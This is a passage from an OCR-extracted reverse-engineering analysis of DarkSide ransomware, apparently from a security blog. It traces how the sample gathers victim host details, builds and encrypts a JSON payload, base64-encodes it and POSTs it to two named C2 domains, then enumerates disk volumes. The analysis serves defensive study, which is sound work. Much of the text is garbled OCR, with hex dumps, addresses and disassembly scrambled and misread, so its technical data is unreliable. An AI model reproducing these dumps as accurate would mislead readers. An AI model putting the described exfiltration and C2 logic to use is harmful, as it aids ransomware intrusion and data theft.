0275AF18 |82 00 69 00|6E 00 &4 00[6F 00 77 00(73 00 20 OO(W.i.n.d.0o.w.s. .
0275AF2B(31 00 30 ou|zo 00 45 00|GE 00 74 00|65 00 72 00|1.0. .E.n.t.e.r DAoCEEoE | aaocrEre

Figure 89

The malware constructs the following JSON, which contains data to be exfiltrated to the C2 server:
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Hex

DZ2759DES
DZ2759DF8
D2759E0DS8
D2759E18
D2759E28
DZF59E3S
DZFS59E48
D2759ELSB
02759EGS
D2FS59ETS
D2759ESS8
DZ2759ESSB
D275 9EASB
02759EBS
D27S59ECS
DZ2F759EDS
D2759EES
D2759EFS
02759F08
D2759F18
D2759F28
D2759F38
D2759F 48
02759F58
DZ2759F 68
D2ZF59FT8
D2759F 88
DZ2759F 98
D275 9FAS

Figure 90

22 00 6F 00
22 00 eC 00
65 00 &E 0O
DA 0D 22 00
6D 00D 65 0O
22 00 2C 00
74 00 6E 0O
44 00 45 00

2C 00 0D 00
6% 00 6E 0O
4B 00 47 00
0D 00 0A OO
70 0D &5 00
&4 00 6F 0O
22 0D 6F 00
69 00 6F 00
GE 00 &4 00
20 00 45 00
69 00 73 00
6F 0D 73 00
3A 0D 22 00
DA 0D 22 00
3A 00 22 00
22 00 2C 00
34 00 22 00

0A 00 7D 0O

73
61
2D
75
22
oD
61
53

0A
22
52
22
22
Fir
73
GE
&F
GE
&5
5F
78
&4
43

oo
oo
oo
oo
oo
oo
oo
00

oo
oo
oo
oo
oo
oo
oo
oo
oo
oo
oo
oo
oo
oo
o0

22
GE
EE
73
3A
0A

4B

22
34
4F
&F
3A
73
SF
2z
77
74
2z
61
EL
&3
TS

oo
oo
oo
oo
oo
oo
oo
juju]

oo
oo
oo
oo
oo
oo
oo
oo
oo
oo
oo
oo
oo
oo
oo

3A
&7
53
&5
22
22
&5
5 4

&4
22
ES
73
22
22
76
3A
73
G5
2C
72
34
73
31

00 7B 00
oo 22 00
oo 22 00
oo
oD
00 &8 00
oo 22 00
00 4F 00
00 48 00
00 &F 00
00 &7 00
o0 50 00
00 5F 00
oo 77 00
00 2C 00
00 &5 00
Do 22 00
o0 20 00
0o 72 00
o0 0D 00
00 &3 00
oo 22 00
00 &B 0O
00 2F 00

The final data looks like in the following JSON form:

Address

Hex

0D 00 OA
3A 00 22
2C 00 0D

&F
3A
)
4F
D
4F
22
74
&9
oD
72
57
31
70
oA
68
2C
73
37

oo
oo
oo
0o
oo
oo
oo
oo
oo
oo
oo
o0
oo
oo
oo
oo
oo
oo
00

73
22
2D
22
61
52
2C
79
GE
0A
73
&9
30
72
22
22
oD
22
39

| =000
n
=t

mM3IO03IWNE
rE =

Mmoo oom:-

Moo

LR

ASCII

D27 47A30
02747440
D27 47AL0D
D27 47AGD
D27 47ATOD
D27 47ABOD
027 47A30
D27 47 AAD
D27 47ABOD
D27 47ACO
D27 47ADD
027 47AED
D27 47AFO
D27 47BOO
D27 47B10O
D27 47B20
02747B30
D27 47B40

Figure 91

7B
22
&9
32

oD
34
54
36
7B 0D 0A
22 2C 0D
T
22 3a 22
48 4F 22
57 4F 52
5F 74 79
2C 0D DA
22 57 69
72 70 72
63 68 22 3A
6B 73 22 3A
62 64 22 3A

0A
22
22
33

22
32
ETY
34
22
04
2z
44
2C
4B
70
2z
6E
69

62
2E
22
22

22
2C
45

47
&5
&F
&4
73
22
22
22

&F
31
30

61
75

53
0A
52
22
73
&F
&5
78
43

74
2E
EL
DA
GE
73
oA
4B
22
4F
3A
SF
T
2z
ET
34

22
E
30
7D
&7
&5
22
54
&4
ES
22
76
73
2C
34
31

3A
2E
37
2C
22
rz

7B 0D 0OA
33 22 2C
62 38 33
0D 0a 22
3A 22 65
G6E &1 6D

&8 GF 72 74

4F
&F
50
T
65
20
oD
zz
ZF

50
&D
22
&9
72
31
0A
2C

2D
61
2C
GE
73
30
22
oD

69
oD
&4
69
20
&F
oA

37 39 22

22 76 65 72
Q0 08 22 75
38 32 34 37
6F 73 22 3A
6E 2D 55 53
65 22 3A 22
6E 61 6D 65

GE
0A
&F
&F
45
73
22
2C

22
22
7
6E
GE
5F
64
oD

3A
&F
73
22
74
61
&9
0A

22
73
22
3A
&5
72
73
22

22 0D 0AIFD OD OA 7D

The data from above is encrypted by a custom encryption algorithm:

EB 25 €2

41 00
FF FF

push dword ptr ss:[febp+C]]
push dword ptr
push 10

: febp+5]]

side. 410360

€dll darkside. 40544

[ebp

ettt e e
Wi e e
id":"0607b8358247
2E3AN. o ons
{--"lang”:"en-us
e UsErname’:
I, . . "hostname
1 peskTOR - NN
HO™, :

WORKGROUP™, . .
_type": "windows"™
g« OS_VErsion”:
"windows 10 Ente
rprise”,.."os_ar
ch":"xg4",.."dis
| T i b
N
[

X875W_B 0 xB75W.C3 0 XB7SW.C2 0
X875W_C1 O xB75W_CO O XB7SW_ES 0
X87SW_SF 0 xB87SW_P 0 XB7SW.U 0O

+8

v

= Default (stdcall)

~ |[5_2][] unlods

[esp] 00410360 darkside.00410360

darkside.00405444

. TEXT:0040921A darkside.exe:$921A #861A

44 Dump 1
A

¥4 bump 2

%4 bump 3

%44 bump 4

%44 bump 5

& watch 1

[x=I Locals

7 struct

s | Hex

Figure 92

|Asciz
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00410360 | darkside. 00210360
045BFEDO | 00000010
!A" 045BFEDS | 00000120

1:
2: [esp+4] 00000010
Biof
4: [esp+c] 0000012

5: [esp+l0] 004095AB darkside.004095A8

esp+8] 0273BDES "{\r\n\"bot\": {\ri\n\"ver\":\
1]

045BFED4 | 0273BDES | "{\r\n\"bot\": {\r\n\"ver\":\"2.1.2.3\",\r\n\"t



Address

Hex

https://cybergeeks.tech/astep-by-step-analysis-of-a-new-version-of-darkside-ransomware/

ASCII

Figure 93

D27 3BDES
D27 3BDFS
D27 3BEOS
D273BEL1S8
D273BEZ28
D273BE38
D27 3BE48
D273BELSS
0273BEGS
D273BETS
D27 3BESS
D27 3BESS
D27 3BEASB
0273BEES
D27 3BECS
D27 3BEDS
D27 3BEES
D27 3BEFS

22
53

52
25
38
5F
09

D&
]
79
42
Bl
78

[=1=]
BES
72
34
AB
45
DF
cD
ED
97
D3

FA
D2
83
BB

7C

BB
30
1E

12
2B
98
A9
Fl
o1
5C
72
0B
F9

24
EF
CB
4B
25
AF
BE
D9
B3

3F
Fid)
50
11
AL
36
B&

DF
4B
91
15
FB
03
45
o6
o2
B85
E1l
F&
DB
10
11
E9
c5
13

D1
3E
2B
AE
&F
c3
03
5C
67
DD
D5
5D
i7
39
79
oe
28
3E

DD (73
3 )

71l

83
CC
3B
FC
F2
AB
5D

BE
FF
29
78
B3
ZF
ED
4B
20
DB
37
38
36

B4
F3
7E
B4
Al
Cl
E6
0B
82
EA
22
41
D8

BS
34
oo
33

58
B4

DF
CB
25
B2
AD
21

78
EE

43
AB
37
FF
34
85
EZ
co
FD
98

D8
BF
E3
EF
39
B1
E9

Cl
CA
B8
D7

56
B&
15
&8

F3
c8

D9

EA
&1
57
ED
14
o7
12
2D
19
A9
AB
CE

ES
57
AB

&4
83
1z
19
56
30
CF
&7
FD
59

AD
49
1B
DD
82

AL
B4
13
DD
17
D3
CE
D3
44
2C
BE
EA

o7
2F

20
B&

EE
C1
89
2E
12
5E
22
D2
AB
&F
18
o9
7o
05
28
FD
4B
21

The result of the encryption operation is base64-encoded, as shown below:

c7
D2
87
64
15
B8
51
46

BS
[=1=]
61
E1l

95
AF
1F
CA

Text:
-text:
dext:
text:
text:
text:
text:
Text:
Text:
text:
Text:
text:
text:
text:
text:
Text:
Text:
text:
Text:
text:
text:
text:
~text:
Text:
Text:
text:
-text:
text:
text:
text:
text:
Text:
text:
text:
Text:
text:

aa4a133A
aa4al33F
aa48l348
@a4a1345
aa4al346
@481 346
aadals4C
@a481351
@a4a1352
aa4a1357
@a481358
@a4a1350
@a4a135E
aa481363
aad4al3ad
aa4al3gg
aa4al3iah
Be4al136F
aa4alive
@a4a1375
aa4al13vo
88481376
@a4a137C
aa4a1381
aa4al3a2
aa4al13av
@a4a1388
aa4al1380
@a4al138E
@a481393
aa4a1394
@a4a1399
aa4a1394
aa4a1390
aa4al3he
aa4al3A3

moh

stosd

mow

stosd

moh

stosd

moh

stosd

mot

stosd

moh

stosd

moh

stosd

moh

stosd

mot

stosd

mot

stosd

moh

stosd

moh

stosd

moh

stosd

mot

stosd

moh

stosd

moh

stosd

mon
Mot
Mot
mot

eax, 'DCBA’
eax, 'HGFE'
eax, "LKJII'
eax, ' PONM'
eax, 'TSRQ'
eax, XU’
eax, 'baZy’
eax, 'fedc'
eax, "jihg"
eax, 'nmlk’
eax, '‘rgqpo’
eax, 'vuts'
eax, 'zyxw'
eax, ‘3218’
eax, '7654'
eax, '/f+98'
esi, [ebpt+arg @]

eax, [ebptarg_4]
[ebptvar_4], eax
edi, [ebptarg_ 8]

Ll s =]

LJext:badalife
text: 884681346 loc_4813A6:
Jext 88481346 cmp
Jtext: 88481384 jnz

[ebptvar_4], @
short loc_4813AE

Figure 94
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Address | Hex ASCII

0273EOES |49 6C 4B 73 |4A 4E 38 4E|30 64 31 7A|67 37 37 S5A|ITKsINSNOd1ZzgF7Z
0273EOF8|5A 4B 48 Fo |78 31 4D 6C |71 75 39 4C|2F 7A 36 4D | ZKHUXIMTquoL/zeM
0273E108|57 63 79 73|47 6F 4F 30|77 64 4A 67 [4F 49 76 4C | WoysGoO0OwdIgOIvL
0273E118|6B 53 GB 72|48 48 45 37|74 4F GF 53|47 49 6D 48| kSkrHHE7tOoSGImH
0273E128| 31 6C 38 77|53 78 56 34|72 72 55 4B|2F 50 4E 68| 118wSxV4rruk,/PNh
0273E138| 47 64 30 Fo|5A 44 67 4A|48 69 58 37|73 32 38 30| GdOUZDgIHIXFs280
D273E148(57 50 4A 2B|56 31 59 58|45 68 56 35 (48 4C 32 76(|WPI+V1I¥YXEhVSHL2V
0273E158| 41 79 2F 44|41 4C 53 6F |74 4F 30 77|32 46 36 49| Ay/DALSOTOOWZFG&I
0273E1G8(51 72 73 53 |6A EB C8 74(41 7A 4F 4E|G8 61 45 55 (QrsSjkXtAzONXaEU
D273EL178|(7A 38 34 69|55 62 47 34|4B 39 6B 47 (53 31 78 4D | z841UbG4KIKGSLIXM
0273E188|33 78 72 42|42 32 66 59|30 6B 5A 34(63 70 69 7A|IXrBB2TYOKZ4cCpiz
0273E198| 41 6A 42 GE|65 4D 75 70|35 68 4C 77|52 4B 73 4E|AjEneMupShLwRKSN
0273E1A8|72 54 53 70|54 49 58 62|32 65 34 6C |71l 77 73 74| rTSpTIXb3ed4lqwst
0273E1BB | L7 I8 FE|74 66 71 72|38 54 2F 68|4E 39 56 71 |wSxviTqraT /hNovg
0273E1C8 |73 6A 65 43|47 61 71 2F |47 4C 73 4E(53 41 46 77| sjeCGaqg/GLSNSAFW
0273E1DS8| 39 6A 68 64|32 4B 44 2F |36 71 6C 4D (|36 67 6C 68| 9jhd2KD/6qIMeglh
D273E1ES(30 74 39 63|55 4E 73 32|46 34 358 68(4E 43 4B 6F | OL9CUNSZ2F48hNCKO
0273EL1F8| 48 5A 70 77|34 59 50 4E|63 68 45 51(75 64 6E 6A| HZpw4¥YPNcChEQUinj
0273E208(47 6F 56 42|7A 71 41 48(42 59 71 37|37 51 75 6C|GOVBZgAHBYQr7Qul
D273E218(45 63 46 35|37 31 62 69|32 45 31 4A(6B 43 69 56|EcF571bi2ELIKCIV

O3ITFTICIID N TN CA S8 TC AL TLC L0 AD 1 AT LA Ly 31 TA L) 2% CC |l nFFohnnbDamIFn

Figure 95

The following function is used to generate 2 random 4-byte values that will be utilized in the network
communications. It uses instructions such as RDRAND and RDSEED to generate random numbers (if these are
supported), but we’ll provide a deeper understanding of it when we discuss file encryption (it’s also used to generate

the Salsa20 matrix):

Jtext:88484BD2 sub_484BD2 proc near
.text:88484BD2 push ebx
Jtext:8e424B03 push eCx
Jtext:@e424B04 push esi
Ltext:8e484BD5 push edi
.text:88484BD6 push 1
Ltext:28484B08 pop eax
Jtext:88484BD9 cpuid

Ltext:28484BDB test ecx, 48068888h
Ltext:@8404BEL setnz al
.text:00404BE4 test al, al
Jtext:8e484BEE jz short loc_484BF@

il e =

Jtext:eadedbre

.text:80484BF8 loc_4@84BF@:
.text:88484BFB push 7
.text:ee4846F2 pop eax
Jtext:eed484BF3 xor ecx, ecx
Jtext:80404BF5 cpuid
.text:e8404BF7 test ebx, aeeash
.text:88484BFD setnz al
text:08404C00 test al, al

text:eeqs4ce? jz short loc_484C8C
V i el
[l il = ] i 5=
B4BEB rdrand eax .text:88484C84 rdseed eax Ltext:86484C6C
B4BEB rdrand edx Ltext:80404C087 rdseed edx Ltext: 88484000 loc_484CAC:
P4BEE jmp short loc_484C1C) |.text:@8484C04 jmp short loc_484C1C) (.text:08484C0C rdtsc
text:08484C0E mov ecx, eax
Ltext:98484C16 ror ecx, @Dh
Ltext: 88484013 rdtsc
Ltext:88484C15 mov edx, eax
Ltext:88484C17 rol edx, @0Dh
Ltext:88484C148 mov eax, ecx
Y
[l i 55
Jtext:eededC1C
text :@Adedr 10 Toc 484010 -
Figure 96
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The parameters of the network request have the following structure:

random_numberl=base64(encryptionresult)&random_number2=victim_uid:

Address | Hex ASCII

DZ273ESAD|38 35 62 30|32 31 39 343D 49 6C 4B(73 4A 4E 35| B5b021994=T1KsINS
0273ESB0O| 4E 30 64 31|7A 67 37 37|5A S5A 4B 48|75 78 31 4D | NOd1zg7 7ZZKHUX1M
0273ESCO(6C 71 75 39|4C 2F 7A 36(4D 57 &3 79|73 47 &F 4F( TquolL,/zeMWCysGoD
0273ESD0D| 30 77 64 4A|67 4F 49 76|4C 6B 53 6B|72 48 458 45| OowdIgOIvLkSkrHHE
D273ESED| 37 74 4F 6F|53 47 49 6D |48 31 6C 38|77 53 78 56| 7tDoSGIMHLTBwWSXV
0273ESF0D| 34 72 72 55|4B 2F 50 4E|68 47 64 20|75 5A 44 67| 4rruUk/PNhGdOUZDg
D273EGOD| 4A 48 69 58|37 73 32 38|30 57 50 4A(2B 56 31 59| JHIX7sZ80WPI+VL1Y
0273E610(58 45 &8 56|35 43 4C 32(76 41 79 2F |44 41 4C 53 ( XEhVSHL2VAY/DALS
0273E620|6F 74 4F 30|77 32 46 36|49 51 72 73|53 6A 6B 58| 0tOOW2FEIQrsSjkx
DZ273EG30|(74 41 TA 4F|4E 58 61 45|55 FA 38 34(69 55 62 47| tAZONXaEUz 54iUbG
D273EG40( 34 4B 39 GB|47 53 31 78|4D 33 78 72|42 42 32 66| 4K9KGSIxMIxrBB2T
0273E650|59 30 6B 5A|34 63 70 69|7A 41 6A 42 |gE 65 4D 7o | YOKZ4cpizAjEnemu
0273E660| 70 35 68 4C|77 52 4B 73|4E 72 54 53|70 54 49 55| pShLwRKSNrTSpTIX
0273E670| 62 33 65 34|6C 71 77 73|74 57 53 78|76 74 66 71| bIed4lgwstwsxvifg
0273E680|72 38 54 2F|68 4E 39 56|71 73 6A 65|43 47 g1 71| raT/hNovgsjecCGan
0273E690| 2F 47 4C 73 |4E 53 41 46|77 39 6A 65|64 32 4B 44| /GLsNSAFw2jhd2KD
0273EGAD| 2F 36 71 6C|4D 36 67 6C |68 30 74 29|63 55 4E 73| /6qIMeglhOotTacUNS
0273EGBD| 32 46 34 35|68 4E 43 4B|6F 48 S5A 70|77 34 59 50| 2F45hNCKOHZ pw4YP
0273EGCO|(4E 63 68 45|51 75 &A GE(6A 47 6F 56|42 TA 71 41| NchEQujnjGoVBzqgA
0273E6DO| 48 42 59 71 Z S]1 Fo(6C 45 63 46(35 37 31 62| HBYQs77QUIECFS71b
O2FICCO]l SO T AL =k | AA D AZ SOl T0O LA SO 2L AL T ol 12309 Il SiinTFD e

Figure 97

The InternetOpenW function is called using a user agent decrypted by the malware as a parameter:

004092DF
004092E1

EIP

push 0
push 0
push 0

push 0
push dword ptr ss:

Febp-14]

p-14]
€all dword ptr ds:[<&Internetopenw-]

x875tatusword 0000
X875W_B 0 xB7SW_C3 0O x875w C2 0O
X875W_C1 0 xB7SW_CO O X875W_E5 0O
X87SW_SF 0 xB7SW_P 0 X875wW_U o
[ehp 1 | e
- &
Default (stdcall)

~ (5 2|0 urleat

esp] 027353E0 L"Mozi11a/5.0 (Windows NT 6.1;

. text:D04092EA darkside.exe: $I2EA #86EA

dword ptr [004208F4 <darkside.&INnTernetopenws>]=<wininet.INnternetopent:

Webumpt  @Moump2  WWDump3 W4 Dump 4

%% Dump 5

027353E0

esp+4] 00000000
esp+8] 00000000
esp+C] 00000000
esp+10] 00000000

Figure 98

Address | Hex
0273E5AD |38 35 62 20|32 31 39 34|30 49 6C 4B|73 4A 4E 38| B5b0219:

@ wiatth & [G5e5FEC
045BFEDO
ASCIT__ A |l g458FED4| 00000000

045BFEDS | 00000000

L"Mozi11a/5.0 (Windows NT 6.1; Wi

Slnpwne

64; X64; rvi79.0) Gecko/20100101 Firefox/80.0"

InternetConnectW is utilized to connect to one of the C2 servers (baroquetees[.Jcom) on port 443:

FF 75 FC
FF 15 F8 08 42 00

cll1

il
InternetConnecti>]

ASsim_= 3 LEmply)  Aerim_3 3 LEmpLy)
Xx87TW_6 3 (Empty) x87TW_7 3 (Empty)

x87statusword 0000
XB7SW_E
XB7SW_C1

0 X87SW_C3 0 XB7SW_€2 O
0 X87SW_CO 0O XB7SW_ES O

0 XBFSW_P 0 XB7SW_U 0
9 e
Default (stdcall)

~ |[5_2] [ unlock
[1: [esp] n0CCOOD4

. text: 00409320 darkside.exe: $3320 #8720

dword ptr [DO4208F8 <darkside.&INternetConnectWs]=<wininet.INternetConnectws

2: [espr4] 02733918 L"baroquetees.com”
3: [esp+s8] 000001EE
4: [esp+C]_ 00000000
5: [esp+10] 00000000

Figure 99

Address | Hex

0273E5AD |38 35 62 30|32 31 39 34|3D 49 6C 48|73
0273ESBO|4E 30 64 31|7A 67 37 37 |SA 5A 4B 48|75
0273E5C0|6C 71 75 39|4C 2F 7A 364D 57 79|73 4
0273ESDO| 30 77 64 4A|67 4F 49 8

NOd1Z g7 7ZZKHUX1M
&M

bl BN - 0 - B B - B - Bl B wach 1 (x-lLocds # struct ‘045BFECO | 02733918 | L"baroquetees. com”
ASCIT | 045BFEC4 88
4A 4E 38| B85D02194=I1KsINS D45BFECS
O45BFECC

D45BFEDS | 00000000

The process creates an HTTP request handle using the HttpOpenRequestW routine, as shown in figure 100:

00409372

0o
68 00 00 80 00
00

push o~
push 800000
push o

push u

push

Tea eax dword ptr
push e

'Ieaheax ,dword ptr

11 mamrds

ss:[Hebp-sel
ss:febp-2£])

bp- 5]
[<&Http0perﬂequestw>]

A im_a s ey
x87TW_3 3 (Empty)
X87TW_5 3 (Empty)
Xx87TW_7 3 (Empty)

A s Ly
xB7TW_2 3 (Empty)
XBTTW_4 3 (Empty)
X87TW_6 3 (EmMpTy)

x87Statusword 0000

XB7SW_B O X87SW.C3 0 XBFSW.CZ O
XB7SW_CL O X87SW_CO 0O XB7SW_ES O
XB7SW_SF D X87SW_P O xB7SW.U O

==
5 | Default (stcal) ~|[5_[2]0] unlock

. text:0040938A darkside.exe: $93BA #878A

dword ptr [0042090C <darkside.&HTTPOPENRequesTW>]=<wininet. HTTPOPenkequesTws

1: [esp] 00C

2: [esptd]
3: [esp+8] D45BFEFZ
4: [esp+C]_ 00000000
5: [esp+10] 00000000

C0008
045BFF22

Figure 100
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Woump1  @Whoump2z  Whoump3  @Moump4  @loumps @ watchi  ellocals 47 Stuct

Address Hex ASCII ~
0273E5A0 |38 35 30|32 31 39 343D 49 6C 4B(73 4A 4E 38| B5PO2194=I1KsINS

0273ESBO| 4E 30 64 31(7A 67 37 37|5A 5A 4B 48(75 78 31 4D | NOd12Q77ZZKHUXIM

0273ES5CO|6C 71 75 39(4C 2F 7A 36(4D 57 63 79|73 47 6F 4F|1qu9l BMWCYSGOO

0273E5D0| 30 77 64 4A Gr 4F 49 G 4C GEl 53 GEl ’2 45 43 45 DdegDIVLkEerHE

045BFEDS
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There is also a call to the InternetSetOptionW API that is used to set the security flags for the handle (0x1f =
INTERNET_OPTION_SECURITY_FLAGS):

o 6A 04 push 4 = 7 X
. BD 45 EO lea eax,dword ptr ss:ffebp-z0] X o
M 50 push eax X o
. 6A IF push 1F x o
. FF 75 F4 push dword ptr febp-Cl)
FF 15 FC 08 42 00 call dword ptr [<&Internerseroptionw=] v
s s e , | Default (stdcal) 5
sp] 00CCO00C
dword p rkside.&InternetSetop! —ESSL— 0000001F
sp+8] 045BFF30
™ 2 sp+C] 00000004
.Text:004093FF darkside.exe:$93FF #87FF sp+10] 004035AB darkside.D04035AB
& 00CC000C
W@Woump1  Wyoump2  @pump3  WMDump4  WMDumps @ watchi  x-lLlocals ¢ Stuct 045BFEDO | 0000001F
I | 045BFER4 | 045BFF30
The binary sends the POST request to the C2 server using HttpSendRequestW:
o 53 push ebx
. FF 75 E8 push dword ptr [ebp-1 0
. 50 push eax 0
. FF 75 FO push dword ptr [ebp-1 0
. FF 75 F4 push dword ptr I=
EIF FF 15 10 09 42 00 €all dword ptr ds:[<&HrtpsendRequestw:] v
.“( e - = D 5 | Defauit (stical) - [ unlocke
S s — e - [esp] 00CCODOC
dword ptr [0D0420910 <darkside.&HttpSendRequestw>]=<wininet.HttpsendrRequestv> faspra] 02750AE0 L'\r\nAccept: =/+\rinComnect’
sp+8] 00000063
2 2 = sp+C] 0273E5A0 "85b02194=T11KSINSNOd1ZQ77ZZK}
. TeXT: 00409425 darkside.exe:$9425 #8825 _Sple: 000001AE
eDump i BYpump2  @yDump3  §4Dump4 G4 Dump 5 & Watch 1 Ie=llocals 4 Struct 'D45BFECC | 02750AED | L™\r\nAccept: */*\r\nConnection: keep-alive
Address | Hex |ascIz I | 045BEEDO | 00000063
_17 e Ty - = Do 045BFED4 | 0273E5AD | "85D02194=T1KSINBNOd1Zz g7 7ZZKHUXIMTquIL /Z 6Mn
R ER R e e I T e T RER L L] S e ‘ 045BFEDS| D0DDD1AE

Figure 102

Figure 103

The status code returned by the server is retrieved using the HttpQueryInfow API (0x13 =
HTTP_QUERY_STATUS_CODE):

50 push eax

8D 45 DC lea eax,dword ptr ss:ebp

50 push eax o

57 push &d o

6A 13 push 13 o

FF 75 F4 push dword ptr ss:|[[ebp-c])

[E1P; I FF 15 08 09 42 00 call dword ptr d <&HTTpQUeryInfows] v
T pHae | SR dword 5
o 5 | Default (stcal) ~|[5 2] urlock

1: [esp] DOCCOOOC
g

awininet. HttpQueryInfow> esp+4] 00000013

dword ptr [00420908 <darkside.&HTEpQueryInfon>]

esp+B8] 045BFF12

= : [esp+C] 045BFF2C

.TeXT: 00409453 darkside.exe:$9453 #8853 5: [esp+10] 045BFF30
i & 00CCO00C
%%/ Dump 1 %% Dump 2 @5 Dump 3 8% Dump 4 8% Dump 5 & Struct | D45BFECC | 00000013

|| 045BFEDO | D45BFF12
| 045BFED4 | D45BFF2C
| 045BFEDS | 045BFF30

Address | Hex
mzs 2 e e e
Figure 104

Interestingly, the ransomware doesn’t expect a 200 status code but a 500 (Internal Server Error). If the status code isn’t

500, then the process repeats the steps described so far using the second C2 server, rumahsia[.]com:
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FIZE

Ltext: 88489450 cmp
Ltext:88489461 jnz

word ptr [edi], 35h ;
short loc_489473

g

FIEE

Ltext: 88489468 jnz

word ptr [edi+2], 36h ; '@’
short loc_489473

Y

Lol et =

Ltext:eedasd6h cmp
Jtext:B8848946F jnz

word ptr [edi+4], 38h ;
short loc_ 489473

Y

Yvy

i e =]

Ltextieed4a0473
Jtext:e8460473 loc_489473: o
Jtext: 88489473 push [ebp+P]
Jtext:88489476 push a8 ; Flags
text: 88489478 push HeapHandle 3 HeapHandle
text:8846047E call RtlFreeHeap
text:08460484 mov [ebp+P], &
text:88489488 push [ebp+var_C]
.text:88480948E call InternetCloseHandle
text:88460494 mov [ebp+var_C], @
Jtext: 88489498 push [ebp+var_8]
Ltext:9848949E call InternetCloseHandle
Ltext: 884680484 mov [ebp+var_8], @
text:884604A8 jmp loc_48932F
Figure 105
3 & 00 pizn 0

A 03 push 3

GA 00 push 0

A 00 push 0

68 BB 01 00 00 push 1B8

56 push esi

—* EE 1; E‘é 08 42 00 ;;;?,.;;;Eg_g;: i ﬁ?églcrjetcunnectm]

[dword per

x87TW_6 3 (Empty)  x87TW_7 3 (Empty)

x87StatusWord 0000

X87SW_B 0 xB7SWC3 O XB7SW.CZ 0

X87SW_C1 0 x87SW_C0O O XB7SW_ES 0O
X87SW_SF 0 X87SW_P 0 XB7SW_U o
Default (stdcall)

= |[5_2] [ unodk
1: [esp] 00CCODO4

. text: 00409320 darkside.exe:$9320 #8720

[004208F8 <darkside.&INTernetConnectW>]=<wininet. INternetConnectws

2: [esp+4] 02733938 L"rumahsia.com”
3: [esp+8] 000001BE
4: [esp+C]_00000000
5: [esp+10] 00000000

E
L"rumahsia.com"
B

Figure 106

@oumpi  @Wpump2 Wpump3  W4Dumpa  Wpumps @ wath1  [-llocls @ Stuct

Address | Hex ASCII

045BFEEZ2|73 02 00 FF[58 04 08 BF |73 02 26 01[00 00 00 00|s..¥[

045BFEF2|2F 00 53 00|68 00 71 00|77 00 33 00|54 00 31 00|/

045BFF02|37 00 35 00|34 00 38 004 00 00 EE 04 7E BB|7

s Eer12 Mon ueriod| 2h) 00 00000 Hei e Enhon ruos 12 0 |00 045BFEDE | 000D000D

This last idea concludes our analysis of this thread. We continue to analyze the main thread.

The binary enumerates the volumes available on the machine and uses the CreateFileW routine to open them:

|

[dword pr

6A 03
68 00 00 00 80
56

FF 15 2C 07 42 00

.Text:004077DD darkside.exe:$77DD #6BDD

push 3

push 80000000

push esi

call dword ptr ds:[<acreaterilews]

A rm_u o Gmpays A tE_s o ey

x875tatusword 0020

X87SW_B 0 x87SW_C3 O
X87SW_C1 O X87SW_CO O
X87SW_SF 0 x87SW_P 1

X87SW_€2 O
XB7SW_ES O
XB7SW_U 0O

| Default (stdcal) ~ |[s =] unlock

1: [esp] ODI9FCBC L\\\\7\\Volume{d7e47829-0000-

[0042072C <darkside.&Createrilews]=<kernel32.Createrilens

2: [esp+4] 50000000
3: [esp+8] 00000003
4: [esp+c] 00000000
5: [esp+10] 00000003

Figure 107

@oumpi  YWpump2 W4pump3  W4Dumpa  Wpumps @ wach1  [-llocls @ stuct
|Address | Hex ASCIT R T
0019FCBC [5E 00 5C 00|3F 00 5C 00|56 00 G6F 00|6C 00 75 0O|N.%\.7.%.V.0.l.u. CaTarEne IDoshE0
0019FCCC| 6D 00 65 00|7B 00 64 00|37 00 65 00|34 00 37 00(m.e L7 BT DO019FC10 | 00000080
0019FCDC (38 00 32 00|39 00 2D 00|30 00 30 00|30 00 30 008 .0.0.0.0.

DOLSFCBC | L™ \\\\7\\Volume{d7 e47829-0000-0000-0000-b0e213000000} "

DeviceloControl is utilized to get information about the type, size, and nature of a disk partition (0x70048 =
IOCTL_DISK_GET_PARTITION_INFO_EX):
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. 6A 00 push 0
. SD 45 FO lea eax,dword prr ss:[ebp-10]
o 50 push eax
. 68 90 00 00 00 push 9
. 8D 85 D8 FC FF FF Tea eax dword ptr ss:[febp-328]
. 50 push e
. A 00 push n
o 6A 00 push 0
. 68 48 00 07 00 push 70048
. FF 75 F4 push dword ptr ss: [e |
EIP FF 15 CC 07 42 00 call dword ptr ds <wE'V1[EIﬂ(DntF‘O1>]
. e e .

v
Dafau\t(stdmll)

AUL Ly s gmpeyg AU s s geepeyy
x87TW_2 3 (Empty)  x87TW_3 3 (Empty)
x87TW_4 3 (Empty)  x87TW_5 3 (EmpTy)
X87TW_6 3 (Empty)  x87Tw_7 3 (Empty)

x87s5tatusword 0020

X87SW_B 0 x87SW.C3 O
X875W_C1 0 X875W_C0 O
X87SW_SF 0 X87SW_P 1

XB7SW_C2 O
XB7SW_ES 0O
XB7SW_U 0O

~|[5_2] 0 unlock

dword ptr [004207CC <darkside.&DeviceloControl>]=<kernel32.DeviceloControl>

.TexT:0040780E darkside.exe: $780E #6COE

Figure 108

A new thread is created by the file using CreateThread:

00407545 64 00 push o
64 00 push 0
80 45 EC Tea er dword ptr ss:([ebp-14]
50 push ea
68 58 75 40 00 push darkside. 407558

A 00
FF 15 20 07 42 00 reateThread>]

p] 00000324
esp+4] 00070048
esp+8] 00000000
esp+C] 00000000
esp+10] 0019FC2C

1 b

00000324

Woump:  @lpump2  @Woump3 @loump4  @Wpump5 @ watch1  Dellocals i Stuct 00070048

0013FC0O0 | 00000000

e Een | e = | 0o19Fco4| 00000000

0D19FCEC [5€| DO 5C 00|3F 00 5C 00|56 00 GF 00|6C 00 75 0D e e
0019FCCC (60 00 65 00(7B 00 64 00|37 00 65 00|34 00 37 00 00D19FCOC

0019FCDC (38 00 32 00|39 00 2D 00|30 00 30 00(30 00 30 00 Torrs e

e e e 0 e o e SoL3rcLs | Boog0n0s

v
Default (suia\ﬂ

RS/ IM_B S5 (EMPLY) RS/ IW_/ S LEMPLY)
x87statusword 0020

X87SW_B O XB7SW_€3 O
XB7SW_C1 O XB7SW_CO O
XB7SW_SF O XB7SW_P 1

X87SW_CZ O
X87SW_ES O
X87SW_U O

~ [5_[2][] unlodk

dword ptr [D0420720 <darkside.&CreateThread>]=<kernel3z.createThreads>

00000000
[Espf‘t] 00000000

2:
3: [esp+8] 00407558 darkside.00407558
N 4: [esp+C] ODL9F9BC
. text:00407586 darkside.exe:$75B6 #6986 s: [esp+10] 00000DOO
o) ‘00000000
Woump1  @Hpump2 WMDump3  WMDumps  WMoumps @ watch1  Ix-llecals ) Struct
00407558 | darkside. 00407558

| Asc1T |
00 00 0D 00|00 00 BO E2[13 00 00 0O g

Address | Hex
0019FC2C [00] 00 00 00
0019FC3C |00 00 30 1D|00 00 00 00|02 00 00 00|00 00 OO0 00

Figure 109

Thread activity — sub_407558

